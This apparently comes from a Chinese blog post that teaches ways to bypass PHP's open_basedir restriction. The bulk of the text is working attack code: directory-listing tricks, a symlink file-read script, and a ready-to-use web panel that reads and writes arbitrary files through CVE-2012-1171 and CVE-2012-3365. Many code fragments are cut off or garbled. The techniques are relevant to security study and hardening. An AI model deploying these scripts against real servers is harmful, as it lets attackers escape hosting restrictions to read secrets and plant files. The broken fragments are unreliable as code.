-
- open_basedir()
- 读取目录
-
- 利用DirectoryIterator类 + glob://协议
- 利用FilesystemIterator类 + glob://协议
- 文件读取
-
- shell命令执行
- 利用ini_set()和chdir
- 利用symlink()
- 查看文件是否存在
-
- 利用bindtextdomain()函数
- 利用SplFileInfo::getRealPath()类方法
- 利用realpath()
- 利用imageftbbox()
- 脚本
- 参考文章
open_basedir是php.ini的一个配置选项,可以让用户访问的区域限制在指定文件目录中。
存在文件
- php.ini
- .user.ini
- .htaccess
这三个文件都是配置文件,可以实现open_basedir的功能。
文件路径
如果open_basedir=/var/www/html/web/:/tmp/:/proc/,那么通过web访问服务器的用户就无法获取服务器上除了/var/www/html/web/,/tmp/和/proc/这三个目录以外的文件。
注意:
-
在open_basedir的文件路径中,使用冒号:作为分隔符。
-
用open_basedir指定的限制实际上是前缀,而不是目录名,也就是说该路径下的文件都可以访问。
我这儿看到目录,又去看了下linux的目录结构 操作演示
echo $d->__toString().' '; } ?>
效果,成功读取到了根目录,对于glob://协议和DirectoryIterator类自行百度
FilesystemIterator类也是一个原生类,跟DirectoryIterator类是一样的。 代码
echo $d->__toString().' '; } ?>
shell命令不受open_basedir的影响 代码
$info = new SplFileInfo($basedir . $chars[$i] . '<><'); $re = $info->getRealPath(); if ($re) { dump($re); } } function dump($s){ echo $s . ' '; ob_flush(); flush(); } ?>
爆出目录
注意:由于<><是Windows特有的通配符。所以该POC只能在Windows环境下使用。Linux下只能暴力破解。
利用realpath()realpath()函数和SplFileInfo::getRealPath()作用类似。可以去掉多余的…/或./等跳转字符,能将相对路径转换成绝对路径。函数定义如下:
realpath ( string $path ) : string
当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。
同样,对于这个函数,我们在Windows下仍然能够使用通配符<>来列目录,有P神的脚本如下: 环境测试:windows系统
$file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s ", $matches[1]); } } ?>
就直接爆出了目录文件名
realpath()和SplFileInfo::getRealPath()的区别:
realpath()只有在启用了open_basedir()限制的情况下才能使用这种思路爆目录 而SplFileInfo::getRealPath()可以无视是否开启open_basedir进行列目录 但是当没有open_basedir我们也不需要这些了。
利用imageftbbox()GD库一般是PHP必备的扩展库之一,当中的imageftbbox()函数也可以起到像realpath()一样的列目录效果。 其思想也和上面的类似。这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。
环境:windows POC:
$file = $dir . $chars[$i] . '<><'; //$m = imagecreatefrompng("zip.png"); //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa'); imageftbbox(100, 100, $file, 'aaa'); } function isexists($errno, $errstr) { global $file; if (stripos($errstr, 'Invalid font filename') === FALSE) { printf("%s ", $file); } } ?>
但是这个测试出来有点怪。该方法并不能把路径爆出来,这也是与realpath的最大不同之处。所以,我们只能一位一位地猜测。
脚本一个是p神的脚本,就是利用symlink()函数来Bypass
mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink'); function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }
还有一个是网上的脚本
直接绕过open_basedir爆目录
只是页面更简化,操作起来更容易了。
原理:glob://协议来读取目录
// some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach ($from as $depth => $dir) { // find first non-matching dir if ($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if ($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function fallback($classes) { foreach ($classes as $class) { $object = new $class; if ($object->isAvailable()) { return $object; } } return new NoExploit; } // Core classes interface Exploitable { function isAvailable(); function getDescription(); } class NoExploit implements Exploitable { function isAvailable() { return true; } function getDescription() { return 'No exploit is available.'; } } abstract class DirectoryLister implements Exploitable { var $currentPath; function isAvailable() {} function getDescription() {} function getFileList() {} function setCurrentPath($currentPath) { $this->currentPath = $currentPath; } function getCurrentPath() { return $this->currentPath; } } class GlobWrapperDirectoryLister extends DirectoryLister { function isAvailable() { return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers()); } function getDescription() { return 'Directory listing via glob pattern'; } function getFileList() { $file_list = array(); // normal files $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*"); foreach ($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*"); foreach ($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); return $file_list; } } class RealpathBruteForceDirectoryLister extends DirectoryLister { var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_' , $extension = array() , $charactersLength = 38 , $maxlength = 3 , $fileList = array(); function isAvailable() { return ini_get('open_basedir') && function_exists('realpath'); } function getDescription() { return 'Directory listing via brute force searching with realpath function.'; } function setCharacters($characters) { $this->characters = $characters; $this->charactersLength = count($characters); } function setExtension($extension) { $this->extension = $extension; } function setMaxlength($maxlength) { $this->maxlength = $maxlength; } function getFileList() { set_time_limit(0); set_error_handler(array(__CLASS__, 'handler')); $number_set = array(); while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) { $this->searchFile($number_set); } sort($this->fileList); return $this->fileList; } function nextCombination($number_set, $length) { if (!isset($number_set[$length])) { $number_set[$length] = 0; return $number_set; } if ($number_set[$length] + 1 === $this->charactersLength) { $number_set[$length] = 0; $number_set = $this->nextCombination($number_set, $length + 1); } else { $number_set[$length]++; } return $number_set; } function searchFile($number_set) { $file_name = 'a'; foreach ($number_set as $key => $value) { $file_name[$key] = $this->characters[$value]; } // normal files realpath($this->getCurrentPath() . $file_name); // files with preceeding dot realpath($this->getCurrentPath() . '.' . $file_name); // files with extension foreach ($this->extension as $extension) { realpath($this->getCurrentPath() . $file_name . $extension); } } function handler($errno, $errstr, $errfile, $errline) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { $this->fileList[] = $matches[1]; } } } abstract class FileWriter implements Exploitable { var $filePath; function isAvailable() {} function getDescription() {} function write($content) {} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } } abstract class FileReader implements Exploitable { var $filePath; function isAvailable() {} function getDescription() {} function read() {} function setFilePath($filePath) { $this->filePath = $filePath; } function getFilePath() { return $this->filePath; } } // Assistant class for DOMFileWriter & DOMFileReader class StreamExploiter { var $mode, $filePath, $fileContent; function stream_close() { $doc = new DOMDocument; $doc->strictErrorChecking = false; switch ($this->mode) { case 'w': $doc->loadHTML($this->fileContent); $doc->removeChild($doc->firstChild); $doc->saveHTMLFile($this->filePath); break; default: case 'r': $doc->resolveExternals = true; $doc->substituteEntities = true; $doc->loadXML("{$this->filePath}\">]>&file;", LIBXML_PARSEHUGE); echo $doc->documentElement->firstChild->nodeValue; } } function stream_open($path, $mode, $options, &$opened_path) { $this->filePath = substr($path, 10); $this->mode = $mode; return true; } public function stream_write($data) { $this->fileContent = $data; return strlen($data); } } class DOMFileWriter extends FileWriter { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.'; } function write($content) { // set it to global resource in order to trigger RSHUTDOWN global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w'); fwrite($_DOM_exploit_resource, $content); } } class DOMFileReader extends FileReader { function isAvailable() { return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '=')); } function getDescription() { return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.'; } function read() { // set it to global resource in order to trigger RSHUTDOWN global $_DOM_exploit_resource; stream_wrapper_register('exploit', 'StreamExploiter'); $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r'); } } class SqliteFileWriter extends FileWriter { function isAvailable() { return is_writable(getcwd()) && (extension_loaded('sqlite3') || extension_loaded('sqlite')) && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4)); } function getDescription() { return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted'; } function write($content) { $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase'; mkdir(':memory:'); $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath()); $payload = str_replace('\'', '\'\'', $content); $database = new $sqlite_class(":memory:/{$payload_path}"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')"); $database->close(); rmdir(':memory:'); } } // End of Core ?> <?php $action = isset($_GET['action']) ? $_GET['action'] : ''; $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd(); $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister')); $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter')); $fileReader = fallback(array('DOMFileReader')); $append = ''; ?> <style> #panel { height: 200px; overflow: hidden; } #panel > pre { margin: 0; height: 200px; } </style> <div id="panel"> <pre id="dl"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="$cwd; ?>"><input type="submit" value="Go"> <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?> <?php $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters; $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength; $append = "&characters={$characters}&maxlength={$maxlength}"; $directorLister->setMaxlength($maxlength); ?> Search Characters: <input name="characters" size="100" value="$characters; ?>"> Maxlength of File: <input name="maxlength" size="1" value="$maxlength; ?>"> <?php endif;?> Description : <strong><?php echo $directorLister->getDescription(); ?></strong> </fieldset> </form> </pre> <?php $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : ''; ?> <pre id="rf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="$file_path; ?>"><input type="submit" value="Read"> Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf"> </fieldset> </form> </pre> <pre id="wf"> open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span> <form style="display:inline-block" action=""> <fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="$file_path; ?>"><input type="submit" value="Write"> File Content: <textarea cols="70" name="content"></textarea> Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf"> </fieldset> </form> </pre> </div> <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a> <hr> <pre> <?php if ($action === 'rf'): ?> <plaintext> <?php $fileReader->setFilePath($file_path); echo $fileReader->read(); ?> <?php elseif ($action === 'wf'): ?> <?php if (isset($_GET['content'])) { $fileWriter->setFilePath($file_path); $fileWriter->write($_GET['content']); echo 'The file should be written.'; } else { echo 'Something goes wrong.'; } ?> <?php else: ?> <ol> <?php $directorLister->setCurrentPath($cwd); $file_list = $directorLister->getFileList(); $parent_path = dirname($cwd); echo "
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?